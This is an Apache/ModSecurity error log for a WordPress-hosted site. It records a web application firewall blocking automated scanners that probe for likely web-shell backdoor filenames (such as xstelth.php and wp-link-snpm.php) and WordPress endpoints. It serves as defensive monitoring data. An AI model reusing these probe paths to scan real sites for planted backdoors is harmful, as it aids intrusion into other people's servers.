[Sun May 24 22:01:22.579149 2026] [:error] [pid 15835:tid 15849] [client 20.195.192.35:10085] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xa.php"] [unique_id "ahMEsmWbknYlUM9P0qPmyAAAAAw"]
[Sun May 24 22:01:23.518512 2026] [:error] [pid 11280:tid 11291] [client 20.195.192.35:10121] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xa.php"] [unique_id "ahMEs4Rn5s7laoSxy1QcUQAAAEY"]
[Sun May 24 22:01:24.379297 2026] [:error] [pid 15835:tid 15860] [client 20.195.192.35:9967] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-load.php"] [unique_id "ahMEtGWbknYlUM9P0qPmyQAAABc"]
[Sun May 24 22:01:25.123447 2026] [:error] [pid 11280:tid 11307] [client 20.195.192.35:10156] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-load.php"] [unique_id "ahMEtYRn5s7laoSxy1QcUwAAAFY"]
[Sun May 24 22:01:26.074623 2026] [:error] [pid 11282:tid 11348] [client 20.195.192.35:9934] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-load.php"] [unique_id "ahMEtu0bPyN3C7HZ1R-oggAAAMg"]
[Sun May 24 22:01:26.982928 2026] [:error] [pid 11368:tid 11381] [client 20.195.192.35:10231] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-load.php"] [unique_id "ahMEtofq_sTmmtTKm1U30wAAAQs"]
[Sun May 24 22:01:27.955592 2026] [:error] [pid 15835:tid 15844] [client 20.195.192.35:10127] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwpg.php"] [unique_id "ahMEt2WbknYlUM9P0qPmzAAAAAc"]
[Sun May 24 22:01:28.752327 2026] [:error] [pid 11368:tid 11390] [client 20.195.192.35:10173] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwpg.php"] [unique_id "ahMEuIfq_sTmmtTKm1U32gAAARQ"]
[Sun May 24 22:01:29.430351 2026] [:error] [pid 11368:tid 11381] [client 20.195.192.35:9943] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwpg.php"] [unique_id "ahMEuYfq_sTmmtTKm1U33QAAAQs"]
[Sun May 24 22:01:30.200971 2026] [:error] [pid 11280:tid 11302] [client 20.195.192.35:10123] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwpg.php"] [unique_id "ahMEuoRn5s7laoSxy1QcWwAAAFE"]
[Sun May 24 22:01:30.881542 2026] [:error] [pid 15835:tid 15843] [client 20.195.192.35:10217] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "ahMEumWbknYlUM9P0qPm0gAAAAY"]
[Sun May 24 22:01:31.857636 2026] [:error] [pid 15835:tid 15841] [client 20.195.192.35:10080] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "ahMEu2WbknYlUM9P0qPm1QAAAAQ"]
[Sun May 24 22:01:32.772412 2026] [:error] [pid 15835:tid 15848] [client 20.195.192.35:10132] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "ahMEvGWbknYlUM9P0qPm1gAAAAs"]
[Sun May 24 22:01:33.612986 2026] [:error] [pid 15835:tid 15858] [client 20.195.192.35:10119] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "ahMEvWWbknYlUM9P0qPm2wAAABU"]
[Sun May 24 22:01:34.420305 2026] [:error] [pid 11280:tid 11288] [client 20.195.192.35:9922] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/"] [unique_id "ahMEvoRn5s7laoSxy1QcYAAAAEM"]
[Sun May 24 22:01:35.227748 2026] [:error] [pid 11368:tid 11378] [client 20.195.192.35:9935] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/"] [unique_id "ahMEv4fq_sTmmtTKm1U34AAAAQg"]
[Sun May 24 22:01:36.093292 2026] [:error] [pid 15835:tid 15839] [client 20.195.192.35:10208] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/"] [unique_id "ahMEwGWbknYlUM9P0qPm4QAAAAI"]
[Sun May 24 22:01:36.816591 2026] [:error] [pid 11368:tid 11383] [client 20.195.192.35:9980] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/"] [unique_id "ahMEwIfq_sTmmtTKm1U35AAAAQ0"]
[Sun May 24 22:01:37.608210 2026] [:error] [pid 15835:tid 15855] [client 20.195.192.35:10220] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dropdown.php"] [unique_id "ahMEwWWbknYlUM9P0qPm5gAAABI"]
[Sun May 24 22:01:38.590510 2026] [:error] [pid 11368:tid 11392] [client 20.195.192.35:10191] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dropdown.php"] [unique_id "ahMEwofq_sTmmtTKm1U35wAAARY"]
[Sun May 24 22:01:39.311726 2026] [:error] [pid 11281:tid 11330] [client 20.195.192.35:10239] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dropdown.php"] [unique_id "ahMEw5KmC9taWvA91j6K0wAAAJE"]
[Sun May 24 22:01:40.246150 2026] [:error] [pid 15835:tid 15857] [client 20.195.192.35:10112] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dropdown.php"] [unique_id "ahMExGWbknYlUM9P0qPm6wAAABQ"]
[Sun May 24 22:01:41.138493 2026] [:error] [pid 11368:tid 11384] [client 20.195.192.35:10098] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ddd.php"] [unique_id "ahMExYfq_sTmmtTKm1U36gAAAQ4"]
[Sun May 24 22:01:42.159124 2026] [:error] [pid 11280:tid 11292] [client 20.195.192.35:10207] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ddd.php"] [unique_id "ahMExoRn5s7laoSxy1QcZQAAAEc"]
[Sun May 24 22:01:43.177123 2026] [:error] [pid 11281:tid 11337] [client 20.195.192.35:10082] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ddd.php"] [unique_id "ahMEx5KmC9taWvA91j6K2wAAAJg"]
[Sun May 24 22:01:43.941395 2026] [:error] [pid 11281:tid 11334] [client 20.195.192.35:10180] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ddd.php"] [unique_id "ahMEx5KmC9taWvA91j6K3QAAAJU"]
[Sun May 24 22:01:44.847463 2026] [:error] [pid 11368:tid 11376] [client 20.195.192.35:9960] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "ahMEyIfq_sTmmtTKm1U38gAAAQY"]
[Sun May 24 22:01:45.511101 2026] [:error] [pid 11368:tid 11374] [client 20.195.192.35:10125] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "ahMEyYfq_sTmmtTKm1U38wAAAQQ"]
[Sun May 24 22:01:46.282462 2026] [:error] [pid 11281:tid 11333] [client 20.195.192.35:10172] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "ahMEypKmC9taWvA91j6K4AAAAJQ"]
[Sun May 24 22:01:47.061441 2026] [:error] [pid 11368:tid 11394] [client 20.195.192.35:10034] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "ahMEy4fq_sTmmtTKm1U3-AAAARg"]
[Sun May 24 22:01:47.958922 2026] [:error] [pid 11282:tid 11357] [client 20.195.192.35:10198] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jj.php"] [unique_id "ahMEy-0bPyN3C7HZ1R-oigAAANE"]
[Sun May 24 22:01:49.332887 2026] [:error] [pid 15835:tid 15853] [client 20.195.192.35:10045] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jj.php"] [unique_id "ahMEzWWbknYlUM9P0qPm8AAAABA"]
[Sun May 24 22:01:50.293545 2026] [:error] [pid 11281:tid 11327] [client 20.195.192.35:10179] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jj.php"] [unique_id "ahMEzpKmC9taWvA91j6K4QAAAI4"]
[Sun May 24 22:01:51.406854 2026] [:error] [pid 15835:tid 15846] [client 20.195.192.35:9950] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jj.php"] [unique_id "ahMEz2WbknYlUM9P0qPm9wAAAAk"]
[Sun May 24 22:01:52.719451 2026] [:error] [pid 11280:tid 11293] [client 20.195.192.35:10176] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ccc.php"] [unique_id "ahME0IRn5s7laoSxy1QcbgAAAEg"]
[Sun May 24 22:01:53.621877 2026] [:error] [pid 11280:tid 11304] [client 20.195.192.35:10183] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ccc.php"] [unique_id "ahME0YRn5s7laoSxy1QccQAAAFM"]
[Sun May 24 22:01:55.096442 2026] [:error] [pid 11281:tid 11313] [client 20.195.192.35:10070] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ccc.php"] [unique_id "ahME05KmC9taWvA91j6K4wAAAIA"]
[Sun May 24 22:01:55.918805 2026] [:error] [pid 11281:tid 11326] [client 20.195.192.35:10225] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ccc.php"] [unique_id "ahME05KmC9taWvA91j6K6AAAAI0"]
[Sun May 24 22:01:56.651862 2026] [:error] [pid 11280:tid 11302] [client 20.195.192.35:10199] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-link-snpm.php"] [unique_id "ahME1IRn5s7laoSxy1QcigAAAFE"]
[Sun May 24 22:01:58.616161 2026] [:error] [pid 11281:tid 11326] [client 20.195.192.35:10133] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-link-snpm.php"] [unique_id "ahME1pKmC9taWvA91j6K_AAAAI0"]
[Sun May 24 22:01:59.333583 2026] [:error] [pid 11282:tid 11358] [client 20.195.192.35:9938] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-link-snpm.php"] [unique_id "ahME1-0bPyN3C7HZ1R-o_AAAANI"]
[Sun May 24 22:02:00.342715 2026] [:error] [pid 15835:tid 15861] [client 20.195.192.35:10227] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-link-snpm.php"] [unique_id "ahME2GWbknYlUM9P0qPnDgAAABg"]
[Sun May 24 22:02:01.747838 2026] [:error] [pid 11280:tid 11301] [client 20.195.192.35:10052] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "ahME2YRn5s7laoSxy1QckwAAAFA"]
[Sun May 24 22:02:03.108968 2026] [:error] [pid 15835:tid 15855] [client 20.195.192.35:10195] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "ahME22WbknYlUM9P0qPnEgAAABI"]
[Sun May 24 22:02:04.630200 2026] [:error] [pid 11280:tid 11293] [client 20.195.192.35:10120] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "ahME3IRn5s7laoSxy1QclQAAAEg"]
[Sun May 24 22:02:05.986609 2026] [:error] [pid 11282:tid 11344] [client 20.195.192.35:10048] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "ahME3e0bPyN3C7HZ1R-pAgAAAMQ"]
[Sun May 24 22:02:07.283161 2026] [:error] [pid 11282:tid 11364] [client 20.195.192.35:10237] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xstelth.php"] [unique_id "ahME3-0bPyN3C7HZ1R-pBwAAANg"]
[Sun May 24 22:02:08.023729 2026] [:error] [pid 11282:tid 11340] [client 20.195.192.35:10026] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xstelth.php"] [unique_id "ahME4O0bPyN3C7HZ1R-pCQAAAMA"]
[Sun May 24 22:02:08.917036 2026] [:error] [pid 11282:tid 11346] [client 20.195.192.35:10143] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xstelth.php"] [unique_id "ahME4O0bPyN3C7HZ1R-pDQAAAMY"]
[Sun May 24 22:02:10.240857 2026] [:error] [pid 11281:tid 11331] [client 20.195.192.35:10003] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xstelth.php"] [unique_id "ahME4pKmC9taWvA91j6LAAAAAJI"]
[Sun May 24 22:26:13.471044 2026] [:error] [pid 11280:tid 11287] [client 35.237.129.148:56477] [client 35.237.129.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.237.129.148, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "ahMKhYRn5s7laoSxy1QgPQAAAEI"]
[Sun May 24 22:26:13.475133 2026] [:error] [pid 11280:tid 11287] [client 35.237.129.148:56477] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Sun May 24 22:26:16.930270 2026] [:error] [pid 11280:tid 11298] [client 35.237.129.148:56477] [client 35.237.129.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "ahMKiIRn5s7laoSxy1QgSAAAAE0"]
[Sun May 24 22:26:17.547620 2026] [:error] [pid 11280:tid 11291] [client 35.237.129.148:50129] [client 35.237.129.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "ahMKiYRn5s7laoSxy1QgSgAAAEY"]
[Sun May 24 22:26:18.041821 2026] [:error] [pid 15835:tid 15861] [client 35.237.129.148:59656] [client 35.237.129.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "ahMKimWbknYlUM9P0qPv3gAAABg"]
[Sun May 24 22:26:18.532014 2026] [:error] [pid 15835:tid 15850] [client 35.237.129.148:64016] [client 35.237.129.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "ahMKimWbknYlUM9P0qPv4AAAAA0"]
